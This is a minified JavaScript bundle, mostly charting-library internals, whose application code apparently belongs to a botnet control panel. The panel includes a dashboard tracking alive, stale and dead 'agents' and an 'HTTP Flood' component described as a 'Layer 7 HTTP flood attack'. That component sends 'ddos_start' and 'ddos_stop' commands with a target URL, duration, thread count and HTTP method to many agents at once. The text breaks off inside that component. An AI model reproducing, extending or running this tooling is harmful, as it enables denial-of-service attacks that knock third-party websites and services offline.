h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(aW,{showLabels:w,points:o},r.children,p.createElement(Md,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var O=S.length/o.length,_=z===1?o:o.map((P,R)=>{var V=Math.floor(R*O);if(S[V]){var $=S[V];return Pa(Pa({},P),{},{x:jt($.x,P.x,z),y:jt($.y,P.y,z)})}return P}),T;return fe(l)?T=jt(N,l,z):St(l)||er(l)?T=jt(N,0,z):T=l.map((P,R)=>{var V=Math.floor(R*O);if(Array.isArray(N)&&N[V]){var $=N[V];return Pa(Pa({},P),{},{x:jt($.x,P.x,z),y:jt($.y,P.y,z)})}return P}),z>0&&(i.current=_,a.current=T),p.createElement(o2,{points:_,baseLine:T,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(qt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(lW,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(qt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(o2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(US,{label:r.label}))}function uW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(cW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class dW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=qe("recharts-area",i),y=m,{r:v,strokeWidth:b}=yF(n),w=QS(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(yi,{zIndex:x},p.createElement(qt,{className:g},l&&p.createElement("defs",null,p.createElement(gF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(uW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(n2,{points:r,mainColor:_u(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(n2,{points:h,mainColor:_u(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var y3={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Ut.area};function fW(e){var t,n=cn(e,y3),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=g3(n,ZF),b=ss(),w=yS(),{needClip:j}=u3(g,y),k=Fn(),{points:S,isRange:N,baseLine:z}=(t=xe(V=>GF(V,e.id,k)))!==null&&t!==void 0?t:{},O=rv();if(b!=="horizontal"&&b!=="vertical"||O==null||w!=="AreaChart"&&w!=="ComposedChart")return null;var{height:_,width:T,x:P,y:R}=O;return!S||!S.length?null:p.createElement(dW,Wi({},v,{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,baseLine:z,connectNulls:l,dot:c,fill:u,fillOpacity:d,height:_,hide:f,layout:b,isAnimationActive:m==="auto"?!Td.isSsr:m,isRange:N,legendType:h,needClip:j,points:S,stroke:x,width:T,left:P,top:R,xAxisId:g,yAxisId:y}))}var pW=(e,t,n,r,i)=>{var a=n??t;if(fe(a))return a;var o=e==="horizontal"?i:r,l=o.scale.domain();if(o.type==="number"){var c=Math.max(l[0],l[1]),u=Math.min(l[0],l[1]);return a==="dataMin"?u:a==="dataMax"||c<0?c:Math.max(Math.min(l[0],l[1]),0)}return a==="dataMin"?l[0]:a==="dataMax"?l[1]:l[0]};function mW(e){var{areaSettings:{connectNulls:t,baseValue:n,dataKey:r},stackedData:i,layout:a,chartBaseValue:o,xAxis:l,yAxis:c,displayedData:u,dataStartIndex:d,xAxisTicks:f,yAxisTicks:m,bandSize:h}=e,x=i&&i.length,g=pW(a,o,n,l,c),y=a==="horizontal",v=!1,b=u.map((j,k)=>{var S,N,z,O;if(x)O=i[d+k];else{var _=Re(j,r);Array.isArray(_)?(O=_,v=!0):O=[g,_]}var T=(S=(N=O)===null||N===void 0?void 0:N[1])!==null&&S!==void 0?S:null,P=T==null||x&&!t&&Re(j,r)==null;if(y){var R;return{x:fy({axis:l,ticks:f,bandSize:h,entry:j,index:k}),y:P?null:(R=c.scale.map(T))!==null&&R!==void 0?R:null,value:O,payload:j}}return{x:P?null:(z=l.scale.map(T))!==null&&z!==void 0?z:null,y:fy({axis:c,ticks:m,bandSize:h,entry:j,index:k}),value:O,payload:j}}),w;return x||v?w=b.map(j=>{var k,S=Array.isArray(j.value)?j.value[0]:null;if(y){var N;return{x:j.x,y:S!=null&&j.y!=null&&(N=c.scale.map(S))!==null&&N!==void 0?N:null,payload:j.payload}}return{x:S!=null&&(k=l.scale.map(S))!==null&&k!==void 0?k:null,y:j.y,payload:j.payload}}):w=y?c.scale.map(g):l.scale.map(g),{points:b,baseLine:w??0,isRange:v}}function hW(e){var t=cn(e,y3),n=Fn();return p.createElement(t3,{id:t.id,type:"area"},r=>p.createElement(p.Fragment,null,p.createElement(iB,{legendPayload:nW(t)}),p.createElement(rW,{dataKey:t.dataKey,data:t.data,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:r}),p.createElement(gB,{type:"area",id:r,data:t.data,dataKey:t.dataKey,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,stackId:Q6(t.stackId),hide:t.hide,barSize:void 0,baseValue:t.baseValue,isPanorama:n,connectNulls:t.connectNulls}),p.createElement(fW,Wi({},t,{id:r}))))}var b3=p.memo(hW,d3);b3.displayName="Area";var xW=(e,t)=>t,sv=M([xW,_e,j4,gt,fS,Ir,uR,xt],vR),ov=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},w3=jn("mouseClick"),j3=Yo();j3.startListening({actionCreator:w3,effect:(e,t)=>{var n=e.payload,r=sv(t.getState(),ov(n));(r==null?void 0:r.activeIndex)!=null&&t.dispatch(cD({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var uh=jn("mouseMove"),k3=Yo(),Ul=null;k3.startListening({actionCreator:uh,effect:(e,t)=>{var n=e.payload;Ul!==null&&cancelAnimationFrame(Ul);var r=ov(n);Ul=requestAnimationFrame(()=>{var i=t.getState(),a=W0(i,i.tooltip.settings.shared);if(a==="axis"){var o=sv(i,r);(o==null?void 0:o.activeIndex)!=null?t.dispatch(rS({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate})):t.dispatch(nS())}Ul=null})}});function vW(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var l2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},N3=Yt({name:"rootProps",initialState:l2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:l2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),gW=N3.reducer,{updateOptions:yW}=N3.actions,bW=null,wW={updatePolarOptions:(e,t)=>t.payload},S3=Yt({name:"polarOptions",initialState:bW,reducers:wW}),{updatePolarOptions:jW}=S3.actions,kW=S3.reducer,z3=jn("keyDown"),C3=jn("focus"),lv=Yo();lv.startListening({actionCreator:z3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,a=e.payload;if(!(a!=="ArrowRight"&&a!=="ArrowLeft"&&a!=="Enter")){var o=U0(i,hs(n),al(n),ol(n)),l=o==null?-1:Number(o);if(!(!Number.isFinite(l)||l<0)){var c=Ir(n);if(a==="Enter"){var u=Su(n,"axis","hover",String(i.index));t.dispatch(ah({active:!i.active,activeIndex:i.index,activeCoordinate:u}));return}var d=J7(n),f=d==="left-to-right"?1:-1,m=a==="ArrowRight"?1:-1,h=l+m*f;if(!(c==null||h>=c.length||h<0)){var x=Su(n,"axis","hover",String(h));t.dispatch(ah({active:!0,activeIndex:h.toString(),activeCoordinate:x}))}}}}}});lv.startListening({actionCreator:C3,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var a="0",o=Su(n,"axis","hover",String(a));t.dispatch(ah({active:!0,activeIndex:a,activeCoordinate:o}))}}}});var mn=jn("externalEvent"),P3=Yo(),hp=new Map;P3.startListening({actionCreator:mn,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,a=hp.get(i);a!==void 0&&cancelAnimationFrame(a);var o=requestAnimationFrame(()=>{try{var l=t.getState(),c={activeCoordinate:GD(l),activeDataKey:xS(l),activeIndex:Qa(l),activeLabel:hS(l),activeTooltipIndex:Qa(l),isTooltipActive:XD(l)};n(c,r)}finally{hp.delete(i)}});hp.set(i,o)}}});var NW=M([ps],e=>e.tooltipItemPayloads),SW=M([NW,(e,t)=>t,(e,t,n)=>n],(e,t,n)=>{if(t!=null){var r=e.find(a=>a.settings.graphicalItemId===n);if(r!=null){var{getPosition:i}=r;if(i!=null)return i(t)}}}),E3=jn("touchMove"),A3=Yo();A3.startListening({actionCreator:E3,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=W0(r,r.tooltip.settings.shared);if(i==="axis"){var a=n.touches[0];if(a==null)return;var o=sv(r,ov({clientX:a.clientX,clientY:a.clientY,currentTarget:n.currentTarget}));(o==null?void 0:o.activeIndex)!=null&&t.dispatch(rS({activeIndex:o.activeIndex,activeDataKey:void 0,activeCoordinate:o.activeCoordinate}))}else if(i==="item"){var l,c=n.touches[0];if(document.elementFromPoint==null||c==null)return;var u=document.elementFromPoint(c.clientX,c.clientY);if(!u||!u.getAttribute)return;var d=u.getAttribute(Hk),f=(l=u.getAttribute(Kk))!==null&&l!==void 0?l:void 0,m=ms(r).find(g=>g.id===f);if(d==null||m==null||f==null)return;var{dataKey:h}=m,x=SW(r,d,f);t.dispatch(tS({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var zW=hk({brush:dF,cartesianAxis:rF,chartData:qR,errorBars:vF,graphicalItems:xB,layout:U6,legend:KT,options:WR,polarAxis:z$,polarOptions:kW,referenceElements:pF,rootProps:gW,tooltip:uD,zIndex:_R}),CW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return m6({reducer:zW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([j3.middleware,k3.middleware,lv.middleware,P3.middleware,A3.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(Ak({type:"raf"}))},devTools:{serialize:{replacer:vW},name:"recharts-".concat(n)}})};function _3(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Fn(),a=p.useRef(null);if(i)return n;a.current==null&&(a.current=CW(t,r));var o=Ax;return p.createElement(FF,{context:o,store:a.current},n)}function PW(e){var{layout:t,margin:n}=e,r=tt(),i=Fn();return p.useEffect(()=>{i||(r(B6(t)),r($6(n)))},[r,i,t,n]),null}var O3=p.memo(PW,d3);function T3(e){var t=tt();return p.useEffect(()=>{t(yW(e))},[t,e]),null}function c2(e){var{zIndex:t,isPanorama:n}=e,r=p.useRef(null),i=tt();return p.useLayoutEffect(()=>(r.current&&i(ER({zIndex:t,element:r.current,isPanorama:n})),()=>{i(AR({zIndex:t,isPanorama:n}))}),[i,t,n]),p.createElement("g",{tabIndex:-1,ref:r})}function u2(e){var{children:t,isPanorama:n}=e,r=xe(yR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),a=r.filter(o=>o>0);return p.createElement(p.Fragment,null,i.map(o=>p.createElement(c2,{key:o,zIndex:o,isPanorama:n})),t,a.map(o=>p.createElement(c2,{key:o,zIndex:o,isPanorama:n})))}var EW=["children"];function AW(e,t){if(e==null)return{};var n,r,i=_W(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var n=AT(),r=_T(),i=uN();if(!di(n)||!di(r))return null;var{children:a,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),p.createElement(h5,Ou({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:OW,ref:t}),a)}),MW=e=>{var{children:t}=e,n=xe(Pd);if(!n)return null;var{width:r,height:i,y:a,x:o}=n;return p.createElement(h5,{width:r,height:i,x:o,y:a},t)},d2=p.forwardRef((e,t)=>{var{children:n}=e,r=AW(e,EW),i=Fn();return i?p.createElement(MW,null,p.createElement(u2,{isPanorama:!0},n)):p.createElement(TW,Ou({ref:t},r),p.createElement(u2,{isPanorama:!1},n))});function LW(){var e=tt(),[t,n]=p.useState(null),r=xe(iT);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;je(a)&&a!==r&&e(W6(a))}},[t,e,r]),n}function f2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function IW(e){for(var t=1;t(n9(),null);function Tu(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var FW=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:Tu((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Tu((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Xo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",oi({ref:c},e)))}),WW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:Tu(n),containerHeight:Tu(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Xo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",oi({ref:l},e)))}),UW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Xo,{width:n,height:r}),p.createElement("div",oi({ref:t},e)))}),VW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(WW,oi({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(UW,oi({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Xo,{width:n,height:r}),p.createElement("div",oi({ref:t},e)))});function HW(e){return e?FW:VW}var KW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=tt(),[S,N]=p.useState(null),[z,O]=p.useState(null),_=LW(),T=$x(),P=(T==null?void 0:T.width)>0?T.width:v,R=(T==null?void 0:T.height)>0?T.height:i,V=p.useCallback(C=>{_(C),typeof t=="function"&&t(C),N(C),O(C),C!=null&&(j.current=C)},[_,t,N,O]),$=p.useCallback(C=>{k(w3(C)),k(mn({handler:a,reactEvent:C}))},[k,a]),L=p.useCallback(C=>{k(uh(C)),k(mn({handler:u,reactEvent:C}))},[k,u]),W=p.useCallback(C=>{k(nS()),k(mn({handler:d,reactEvent:C}))},[k,d]),B=p.useCallback(C=>{k(uh(C)),k(mn({handler:f,reactEvent:C}))},[k,f]),U=p.useCallback(()=>{k(C3())},[k]),F=p.useCallback(C=>{k(z3(C.key))},[k]),H=p.useCallback(C=>{k(mn({handler:o,reactEvent:C}))},[k,o]),G=p.useCallback(C=>{k(mn({handler:l,reactEvent:C}))},[k,l]),re=p.useCallback(C=>{k(mn({handler:c,reactEvent:C}))},[k,c]),oe=p.useCallback(C=>{k(mn({handler:m,reactEvent:C}))},[k,m]),he=p.useCallback(C=>{k(mn({handler:g,reactEvent:C}))},[k,g]),pe=p.useCallback(C=>{w&&k(E3(C)),k(mn({handler:x,reactEvent:C}))},[k,w,x]),Y=p.useCallback(C=>{k(mn({handler:h,reactEvent:C}))},[k,h]),ee=HW(b);return p.createElement(NS.Provider,{value:S},p.createElement(o_.Provider,{value:z},p.createElement(ee,{width:P??(y==null?void 0:y.width),height:R??(y==null?void 0:y.height),className:qe("recharts-wrapper",r),style:IW({position:"relative",cursor:"default",width:P,height:R},y),onClick:$,onContextMenu:H,onDoubleClick:G,onFocus:U,onKeyDown:F,onMouseDown:re,onMouseEnter:L,onMouseLeave:W,onMouseMove:B,onMouseUp:oe,onTouchEnd:Y,onTouchMove:pe,onTouchStart:he,ref:V},p.createElement(BW,null),n)))}),qW=["width","height","responsive","children","className","style","compact","title","desc"];function YW(e,t){if(e==null)return{};var n,r,i=GW(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=YW(e,qW),m=yr(f);return c?p.createElement(p.Fragment,null,p.createElement(Xo,{width:n,height:r}),p.createElement(d2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(KW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(d2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(hF,null,a)))});function dh(){return dh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{t(jW(e))},[t,e]),null}var eU=["layout"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=cn(e,cU);return p.createElement(iU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:lU,tooltipPayloadSearcher:zS,categoricalChartProps:n,ref:t})}),dU=["axis"],fU=p.forwardRef((e,t)=>p.createElement(QW,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:dU,tooltipPayloadSearcher:zS,categoricalChartProps:e,ref:t}));function pU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(by,{width:"100%",height:"100%",children:s.jsxs(fU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(bb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(b3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(by,{width:"100%",height:"100%",children:s.jsxs(uU,{children:[s.jsx(r3,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(Qd,{fill:i.color},a))}),s.jsx(bb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function mU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r text-zerin-text-muted hover:text-zerin-accent\r border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const hU=["GET","POST","HEAD"],xU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function I3({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(_=>Ce(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z);const O=z.filter(_=>_.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(_=>Ce(_,{command:"ddos_stop"})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z),g(!1);const O=z.filter(_=>_.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 